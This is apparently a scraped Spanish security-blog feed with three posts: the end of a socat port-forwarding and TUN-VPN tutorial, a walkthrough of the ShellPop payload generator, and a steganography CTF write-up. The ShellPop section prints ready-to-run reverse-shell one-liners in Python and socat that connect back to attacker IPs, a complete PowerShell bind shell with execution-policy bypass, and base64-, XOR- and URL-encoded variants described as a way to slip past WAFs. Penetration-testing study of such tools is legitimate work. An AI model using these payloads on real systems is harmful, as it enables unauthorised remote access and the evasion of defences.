    socat -d -d -lmlocal2 TCP4-LISTEN:5666,bind=192.168.2.42,su=nobody,fork,reuseaddr TCP4:192.168.33.15:5432

    Como veis, el servicio que se ejecuta en 192.168.2.42:5432 es reenviado a 192.168.33.15:5666. Los parámetros -d -d imprimen mensajes calificados como fatal, error, warning y notice y con -lmlocal2 socat loggea a stderr.

    Finalmente, usaremos dos instancias de socat para generar dispositivos TUN en diferentes hosts y conectar ambos lados como si fuera una sencilla VPN.

    TUN Server
    socat -d -d TCP-LISTEN:11443,reuseaddr TUN:192.168.255.1/24,up

    Después de iniciar este comando, socat esperará una conexión y luego creará un pseudo-dispositivo de red TUN con la dirección 192.168.255.1; el número de bit especifica la máscara de la red que se pretende conectar en esta interfaz.

    TUN Client
    socat TCP: 192.168.33.15:11443 TUN: 192.168.255.2/24, up

    Con este último comando se establece una conexión con el servidor y se crea el dispositivo TUN en el cliente.

    ShellPop: herramienta para generar fácilmente payloads para shells reversas y bind

    $
    0
    0
    A finales de año nuestro compi Luis Vacas publicó la herramienta ReverseShell escrita en Powershell para generar el comando en una sola línea para distintas shell reversas.

    Hoy probamos su homónimo en Python: ShellPop de Andre Marques (zc00l) que nos puede ayudar de igual forma a obtener los comandos necesarios para obtener shells bind y reversas de una forma muy fácil.

    A modo de resumen y para empezar me gustó especialmente que soporta UDP y también bind shells y, sobretodo, la opción --clip que directamente copia al portapapeles el comando generado.

    Dependencias

    Se requiere Python 2.x:

    root@kali# apt-get install python-argcomplete -y

    root@kali# pip install -r requirements.txt

    Instalación

    root@kali# python setup.py install

    PD: después de la instalación, solo funcionará autocompletar después de reiniciar el terminal.

    Ejemplos de uso

    # shellpop --help
    usage: shellpop [-h] [-l] [-H HOST] [-P PORT] [--number NUMBER]
                    [--shell SHELL] [--reverse] [--bind] [--xor] [--base64]
                    [--urlencode] [--handler] [--stager STAGER]
                    [--http-port HTTP_PORT] [--clip]

    Options:
      -h, --help            show this help message and exit
      -l, --list            List of available shells
      -H HOST, --host HOST  IP to be used in connectback (reverse) shells.
      -P PORT, --port PORT  Port to be used in reverse/bind shell code.
      --number NUMBER       Shell code index number
      --shell SHELL         Terminal shell to be used when decoding some encoding
                            scheme.
      --handler             Use handler, if possible.

    Shell Types:
      --reverse             Victim communicates back to the attacking machine.
      --bind                Open up a listener on the victim machine.

    Encoders Options:
      --xor                 Enable XOR obfuscation
      --base64              Encode command in base64.
      --urlencode           Encode the command in URL encoding.

    Staging Options:
      --stager STAGER       Use staging for shells
      --http-port HTTP_PORT
                            HTTP staging port to be used

    Miscellaneous:
      --clip                Copy payload to your clipboard automatically.

    Pop shells like a master. For more help
    visit:https://github.com/0x00-0x00/ShellPop

    Listado de shells

    # shellpop --list
    shellpop v0.35
    Contributors: @zc00l,@touhidshaikh,@lowfuel

    [+] Bind shells:

      1. Python TCP +pty
      2. Python UDP
      3. Perl TCP
      4. Perl UDP
      5. PHP TCP
      6. PHP UDP
      7. Ruby TCP
      8. Ruby UDP
      9. Netcat (OpenBSD) TCP
     10. Netcat+coproc (OpenBSD) UDP
     11. Netcat (Traditional) TCP
     12. AWK TCP
     13. socat UDP
     14. Windows Powershell TCP


    [+] Reverse shells:

      1. Python TCP +pty
      2. Python UDP
      3. PHP TCP
      4. Ruby TCP
      5. Perl TCP 01
      6. Perl TCP 02
      7. Perl UDP [nc -lkvup PORT]
      8. Bash TCP
      9. Windows Powershell TCP
     10. TCLsh TCP
     11. Ncat TCP
     12. Netcat (Traditional) UDP
     13. Netcat (Traditional) TCP
     14. Netcat (OpenBSD) mkfifo TCP
     15. Netcat (OpenBSD) mknod TCP
     16. Telnet mkfifo TCP
     17. Telnet mknod TCP
     18. socat TCP
     19. awk TCP
     20. awk UDP
     21. Windows Ncat TCP - x64
     22. Windows Powershell Shellcode-Injection a.k.a BloodSeeker TCP - x64

    Generar una shell reversa en Python hacia la IP 10.4.26.32 y el puerto 1337:
    # shellpop --reverse --number 1 --host 10.4.26.32 --port 1337
    [+] Execute this code in remote target:

    python -c "import os; import pty; import socket; lhost = '10.4.26.32'; lport = 1337; s = socket.socket(socket.AF_INET, socket.SOCK_STREAM); s.connect((lhost, lport)); os.dup2(s.fileno(), 0); os.dup2(s.fileno(), 1); os.dup2(s.fileno(), 2); os.putenv('HISTFILE', '/dev/null'); pty.spawn('/bin/bash'); s.close();"

    [+] This shell DOES NOT have a handler set.

    Podemos indicar el interfaz deseado para obtener automáticamente su IP. Veámoslo con una reverse shell con Socat:

    # shellpop --reverse --number 18 --host tun0 --port 1337
    [+] Execute this code in remote target:

    socat tcp-connect:10.4.28.32:1337 exec:"bash -li",pty,stderr,setsid,sigint,sane

    [+] This shell DOES NOT have a handler set.

    Ahora veamos otro ejemplo para una bind shell en Powershell:

    # shellpop --bind --number 14 --port 8888
    [+] Execute this code in remote target:

    powershell.exe -nop -ep bypass -Command '$port=8888;$listener=[System.Net.Sockets.TcpListener]$port;$listener.Start();$client = $listener.AcceptTCPClient();$stream=$client.GetStream();[byte[]]$bytes = 0..65535|%{0};$sendbytes = ([text.encoding]::ASCII).GetBytes(\"Windows PowerShell running as user \" + $env:username + \" on \" + $env:computername + \"`nCopyright (C) 2015 Microsoft Corporation. All rights reserved.`n`n\");$stream.Write($sendbytes,0,$sendbytes.Length);$sendbytes = ([text.encoding]::ASCII).GetBytes(\"PS \" + (Get-Location).Path + \"> \");$stream.Write($sendbytes,0,$sendbytes.Length);while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0) { $returndata = ([text.encoding]::ASCII).GetString($bytes, 0, $i); try { $result = (Invoke-Expression -command $returndata 2>&1 | Out-String ) } catch { Write-Warning \"Something went wrong with execution of command on the target.\"; Write-Error $_; }; $sendback = $result +  \"PS \" + (Get-Location).Path + \"> \"; $x = ($error[0] | Out-String); $error.clear(); $sendback = $sendback + $x; $sendbytes = ([text.encoding]::ASCII).GetBytes($sendback); $stream.Write($sendbytes, 0, $sendbytes.Length); $stream.Flush();}; $client.Close(); if ($listener) { $listener.Stop(); };'

    [+] This shell DOES NOT have a handler set.

    Handlers

    Si habéis visto los payloads resultantes, seguro que os ha llamado la atención el mensaje [+] This shell DOES NOT have a handler set.

    Ya sabéis que un handler es un mecanismo para "manejar" la función de servir un socket para recibir la conexión entrante o para conectarse a un endpoint del servidor para establecer la shell, es decir, como un listener. ShellPop maneja los siguientes handlers TCP:

    - TCP PTY Handlers
    - TCP Handlers

    Esto significa que a cada shell TCP se le puede agregar como argumento la opción --handler y así eliminar la necesidad de tener luego que levantarlo a mano (normalmente con netcat):


    Stagers

    Stager es un mecanismo para servir un payload en ETAPAS o STAGES. A veces, la complejidad o el tamaño del payload pueden ser problemáticos. En tales casos, se puede crear un pequeño payload que a su vez puede solicitar y ejecutar otro más grande.

    Actualmente hay soporte de los siguientes protocolos de Stagers:

    - HTTP

    Stagers HTTP

    ShellPop tiene el siguiente conjunto de stages HTTP para adaptarse a cualquier escenario que se desee:

    - Stagers de Linux (Python, Perl, Wget y cURL)
    - Stagers de Windows (Powershell, CertUtil, BitsAdmin y Cscript)

    Para usar  HTTP staging, hay que añadir --stager http y, opcionalmente, si desea especificar el puerto del servidor HTTP, el parámetro --http-port:

     
    Encoders

    Con los encoders podemos ofuscar nuestros payloads para evitar por ejemplo los "molestos" WAFs. Actualmente ShellPop soporte tres tipos de encoders:

    - Codificación XOR: Utiliza una clave numérica aleatoria (1-255) para ofuscar el payload y agrega un stub para descifrarla.
    - Codificación Base64: codificación básica en base64 en los datos del payload y agrega un stub para descifrarla.
    - Codificación URL: codificación URL simple sobre el payload final

    Veamos algunos ejemplos:

    Generación de una shell reversa en Python TCP para la IP 1.2.3.4 en el puerto 443 pero usando codificación URL, adecuada para usar a través del protocolo HTTP.

    # shellpop --reverse --number 1 --host 1.2.3.4 --port 443 --urlencode
    [+] Execute this code in remote target:

    python%20-c%20%22import%20os%3B%20import%20pty%3B%20import%20socket%3B%20lhost%20%3D%20%271%2e2%2e3%2e4%27%3B%20lport%20%3D%20443%3B%20s%20%3D%20socket%2esocket%28socket%2eAF_INET%2C%20socket%2eSOCK_STREAM%29%3B%20s%2econnect%28%28lhost%2C%20lport%29%29%3B%20os%2edup2%28s%2efileno%28%29%2C%200%29%3B%20os%2edup2%28s%2efileno%28%29%2C%201%29%3B%20os%2edup2%28s%2efileno%28%29%2C%202%29%3B%20os%2eputenv%28%27HISTFILE%27%2C%20%27%2fdev%2fnull%27%29%3B%20pty%2espawn%28%27%2fbin%2fbash%27%29%3B%20s%2eclose%28%29%3B%22%20

    [+] This shell DOES NOT have a handler set.

    Generación de una shell reversa en Python TCP para la IP 1.2.3.4 en el puerto 443 pero usando pero codificándolo en base64 y configurando un contenedor para decodificarlo. Esto ayuda cuando las comillas dan problemas.

    # shellpop --reverse --number 1 --host 1.2.3.4 --port 443 --base64
    [+] Execute this code in remote target:

    echo cHl0aG9uIC1jICJpbXBvcnQgb3M7IGltcG9ydCBwdHk7IGltcG9ydCBzb2NrZXQ7IGxob3N0ID0gJzEuMi4zLjQnOyBscG9ydCA9IDQ0MzsgcyA9IHNvY2tldC5zb2NrZXQoc29ja2V0LkFGX0lORVQsIHNvY2tldC5TT0NLX1NUUkVBTSk7IHMuY29ubmVjdCgobGhvc3QsIGxwb3J0KSk7IG9zLmR1cDIocy5maWxlbm8oKSwgMCk7IG9zLmR1cDIocy5maWxlbm8oKSwgMSk7IG9zLmR1cDIocy5maWxlbm8oKSwgMik7IG9zLnB1dGVudignSElTVEZJTEUnLCAnL2Rldi9udWxsJyk7IHB0eS5zcGF3bignL2Jpbi9iYXNoJyk7IHMuY2xvc2UoKTsiIA==|base64 -d|/bin/bash

    [+] This shell DOES NOT have a handler set.

    De nuevo lo mismo pero codificando en xor:

    # shellpop --reverse --number 1 --host 1.2.3.4 --port 443 --xor
    [+] Execute this code in remote target:

    /bin/bash -c 's="";for x in $(echo c2cbc6dadddc929fd19290dbdfc2ddc0c692ddc18992dbdfc2ddc0c692c2c6cb8992dbdfc2ddc0c692c1ddd1d9d7c68992dedaddc1c6928f9295839c809c819c86958992dec2ddc0c6928f928686818992c1928f92c1ddd1d9d7c69cc1ddd1d9d7c69ac1ddd1d9d7c69cf3f4edfbfcf7e69e92c1ddd1d9d7c69ce1fdf1f9ede1e6e0f7f3ff9b8992c19cd1dddcdcd7d1c69a9adedaddc1c69e92dec2ddc0c69b9b8992ddc19cd6c7c2809ac19cd4dbded7dcdd9a9b9e92829b8992ddc19cd6c7c2809ac19cd4dbded7dcdd9a9b9e92839b8992ddc19cd6c7c2809ac19cd4dbded7dcdd9a9b9e92809b8992ddc19cc2c7c6d7dcc49a95fafbe1e6f4fbfef7959e92959dd6d7c49ddcc7dede959b8992c2c6cb9cc1c2d3c5dc9a959dd0dbdc9dd0d3c1da959b8992c19cd1deddc1d79a9b899092|sed "s/../&\n/g"); do s=$s$(echo -e $(awk "BEGIN {printf \"%x\n\", xor(0x$x, 0xb2)}"|sed "s/../\\\\x&/g"));done;echo $s|/bin/bash'

    [+] This shell DOES NOT have a handler set.

    Y por último... ¡combinando todas las codificaciones!

    # shellpop --reverse --number 1 --host 1.2.3.4 --port 443 --urlencode --base64 --xor
    [+] Execute this code in remote target:

    echo%20L2Jpbi9iYXNoIC1jICdzPSIiO2ZvciB4IGluICQoZWNobyA3YTczN2U2MjY1NjQyYTI3NjkyYTI4NjM2NzdhNjU3ODdlMmE2NTc5MzEyYTYzNjc3YTY1Nzg3ZTJhN2E3ZTczMzEyYTYzNjc3YTY1Nzg3ZTJhNzk2NTY5NjE2ZjdlMzEyYTY2NjI2NTc5N2UyYTM3MmEyZDNiMjQzODI0MzkyNDNlMmQzMTJhNjY3YTY1Nzg3ZTJhMzcyYTNlM2UzOTMxMmE3OTJhMzcyYTc5NjU2OTYxNmY3ZTI0Nzk2NTY5NjE2ZjdlMjI3OTY1Njk2MTZmN2UyNDRiNGM1NTQzNDQ0ZjVlMjYyYTc5NjU2OTYxNmY3ZTI0NTk0NTQ5NDE1NTU5NWU1ODRmNGI0NzIzMzEyYTc5MjQ2OTY1NjQ2NDZmNjk3ZTIyMjI2NjYyNjU3OTdlMjYyYTY2N2E2NTc4N2UyMzIzMzEyYTY1NzkyNDZlN2Y3YTM4MjI3OTI0NmM2MzY2NmY2NDY1MjIyMzI2MmEzYTIzMzEyYTY1NzkyNDZlN2Y3YTM4MjI3OTI0NmM2MzY2NmY2NDY1MjIyMzI2MmEzYjIzMzEyYTY1NzkyNDZlN2Y3YTM4MjI3OTI0NmM2MzY2NmY2NDY1MjIyMzI2MmEzODIzMzEyYTY1NzkyNDdhN2Y3ZTZmNjQ3YzIyMmQ0MjQzNTk1ZTRjNDM0NjRmMmQyNjJhMmQyNTZlNmY3YzI1NjQ3ZjY2NjYyZDIzMzEyYTdhN2U3MzI0Nzk3YTZiN2Q2NDIyMmQyNTY4NjM2NDI1Njg2Yjc5NjIyZDIzMzEyYTc5MjQ2OTY2NjU3OTZmMjIyMzMxMjgyYXxzZWQgInMvLi4vJlxuL2ciKTsgZG8gcz0kcyQoZWNobyAtZSAkKGF3ayAiQkVHSU4ge3ByaW50ZiBcIiV4XG5cIiwgeG9yKDB4JHgsIDB4YSl9InxzZWQgInMvLi4vXFxcXHgmL2ciKSk7ZG9uZTtlY2hvICRzfC9iaW4vYmFzaCc%3D%7Cbase64%20-d%7C%2fbin%2fbash

    [+] This shell DOES NOT have a handler set.

    Proyecto: https://github.com/0x00-0x00/ShellPop

    Solución al reto 25 "la taberna del "Patito Modosito""

    $
    0
    0

    Los chic@s de Hackers4Fun CTF Team nos traen otro original reto de stegano. En el tweet ya dejan "caer" una pista "El reto trata de princesas que nos desvelarán un buen consejo...".

    Manos a la obra

    Hacemos clic en el enlace de google drive que nos deja en el tweet y obtenemos la siguiente imagen:


    Nos la descargamos y empezamos analizarla, primer paso (cómo no!) "tiramos" de exiftool.

    Podemos observar que no hay ninguna información que nos dé ninguna pista, por lo que procedemos analizar la imagen con Stegosolve.


    Encontramos la primera pista, un Hash MD5!!


    Desciframos el hash y obtenemos un nuevo enlace a google drive.


    Abrimos el enlace y nos lleva hasta la siguiente imagen....La princesa Mérida (Brave), una princesa!!! (vamos bien encaminados...)


    Nos descargamos la foto, hacemos otro escaneo con exiftool.


    Tampoco obtenemos nada nuevo, tampoco sacamos nada utilizando de nuevo la tool de Stegosolve... Vuelvo a recordar la pista "El reto trata de princesas que nos desvelarán un buen consejo..." la palabra "desvelarán" me hizo pensar, quizás la imagen tuviera un archivo escondido...tiramos de steghide y.... BINGO!


    Extraemos el archivo .txt y hacemos un "cat" para leer su contenido. Vemos que tenemos un nuevo hash en MD5.


    Observamos que sigue codificado, este cifrado huele a base64....Vamos a ello!


    Si señor! La flag es H4F{#X1RedMasSegura_#YoQueTuIria}


    Agradecer al equipo de Hackers4Fun por el "curro" de sus retos y HackPlayers por la mención en su blog.

    Hasta la próxima hackers!

    Fuente: https://www.elmalodebatman.com/2018/05/writeup-reto-9-hackers4fun-h4f-la.html
    Viewing all 1668 articles
    Browse latest View live